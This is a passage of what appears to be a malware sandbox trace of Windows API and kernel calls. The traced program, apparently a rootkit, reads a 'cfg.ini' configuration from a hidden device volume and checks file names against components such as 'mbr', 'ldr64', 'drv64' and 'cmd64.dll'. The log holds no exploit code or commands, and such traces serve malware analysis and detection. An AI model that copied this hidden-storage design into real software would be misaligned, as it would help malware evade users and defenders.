(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04300, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.365] KeLeaveCriticalRegion () [0129.365] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.365] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.365] KeEnterCriticalRegion () [0129.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.365] ExFreePoolWithTag (P=0xfffffa8003c04240, Tag=0x0) [0129.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.365] KeLeaveCriticalRegion () [0129.365] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.365] ReleaseMutex (hMutex=0xf0) returned 1 [0129.365] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.365] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.365] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.365] KeEnterCriticalRegion () [0129.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.365] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.365] IdePortDispatch () returned 0x103 [0129.365] KeWaitForMutexObject () returned 0x0 [0129.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.365] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.365] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.365] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.365] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.366] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.366] KeLeaveCriticalRegion () [0129.366] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.366] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.366] KeEnterCriticalRegion () [0129.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.366] KeLeaveCriticalRegion () [0129.366] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.366] KeEnterCriticalRegion () [0129.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.366] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.366] IdePortDispatch () returned 0x103 [0129.366] KeWaitForMutexObject () returned 0x0 [0129.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.366] KeLeaveCriticalRegion () [0129.366] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.366] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.366] KeEnterCriticalRegion () [0129.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bde000 [0129.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.366] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.366] IdePortDispatch () returned 0x103 [0129.367] KeWaitForMutexObject () returned 0x0 [0129.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.367] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.367] IdePortDispatch () returned 0x103 [0129.367] KeWaitForMutexObject () returned 0x0 [0129.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.367] KeLeaveCriticalRegion () [0129.367] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.368] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.368] KeEnterCriticalRegion () [0129.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.368] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.368] KeLeaveCriticalRegion () [0129.368] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.368] KeEnterCriticalRegion () [0129.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.368] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.368] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.368] KeLeaveCriticalRegion () [0129.368] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.368] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.368] KeEnterCriticalRegion () [0129.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.368] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.368] KeLeaveCriticalRegion () [0129.368] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.368] ReleaseMutex (hMutex=0xf0) returned 1 [0129.368] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.368] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.368] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.368] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.368] KeEnterCriticalRegion () [0129.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.368] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.368] IdePortDispatch () returned 0x103 [0129.368] KeWaitForMutexObject () returned 0x0 [0129.369] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.369] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.369] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.369] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.369] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.369] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.369] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.369] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.369] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.369] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.369] KeLeaveCriticalRegion () [0129.369] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.369] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.369] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.369] KeEnterCriticalRegion () [0129.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.369] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.369] IdePortDispatch () returned 0x103 [0129.369] KeWaitForMutexObject () returned 0x0 [0129.369] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.369] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.369] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.370] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.370] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.370] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.370] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.370] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.370] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.370] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.370] KeLeaveCriticalRegion () [0129.370] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.370] ReleaseMutex (hMutex=0x100) returned 1 [0129.370] Sleep (dwMilliseconds=0x2bf20) [0129.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x704e82b0, dwHighDateTime=0x1d24fa4)) [0129.377] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.377] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.377] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.377] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.377] KeEnterCriticalRegion () [0129.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.377] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.377] IdePortDispatch () returned 0x103 [0129.377] KeWaitForMutexObject () returned 0x0 [0129.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.377] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.377] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.377] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.377] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.377] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03440 [0129.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.377] KeLeaveCriticalRegion () [0129.377] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.377] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.378] KeEnterCriticalRegion () [0129.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.378] KeLeaveCriticalRegion () [0129.378] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.378] KeEnterCriticalRegion () [0129.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.378] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.378] IdePortDispatch () returned 0x103 [0129.378] KeWaitForMutexObject () returned 0x0 [0129.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.378] KeLeaveCriticalRegion () [0129.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.378] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.378] KeEnterCriticalRegion () [0129.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.378] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be1000 [0129.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.378] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.379] IdePortDispatch () returned 0x103 [0129.379] KeWaitForMutexObject () returned 0x0 [0129.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.379] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.379] IdePortDispatch () returned 0x103 [0129.379] KeWaitForMutexObject () returned 0x0 [0129.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.379] KeLeaveCriticalRegion () [0129.379] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.380] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.380] KeEnterCriticalRegion () [0129.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.380] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.380] KeLeaveCriticalRegion () [0129.380] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.380] KeEnterCriticalRegion () [0129.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.380] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.380] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.380] KeLeaveCriticalRegion () [0129.380] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.380] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.380] KeEnterCriticalRegion () [0129.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.380] ExFreePoolWithTag (P=0xfffffa8003c03440, Tag=0x0) [0129.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.380] KeLeaveCriticalRegion () [0129.380] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.380] ReleaseMutex (hMutex=0xf0) returned 1 [0129.380] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.380] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.380] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.380] KeEnterCriticalRegion () [0129.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.380] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.380] IdePortDispatch () returned 0x103 [0129.381] KeWaitForMutexObject () returned 0x0 [0129.381] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.381] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.381] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.381] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.381] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.381] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.381] KeLeaveCriticalRegion () [0129.381] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.381] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.381] KeEnterCriticalRegion () [0129.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.381] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.381] KeLeaveCriticalRegion () [0129.381] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.381] KeEnterCriticalRegion () [0129.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.381] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.381] IdePortDispatch () returned 0x103 [0129.382] KeWaitForMutexObject () returned 0x0 [0129.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.382] KeLeaveCriticalRegion () [0129.382] IofCompleteRequest 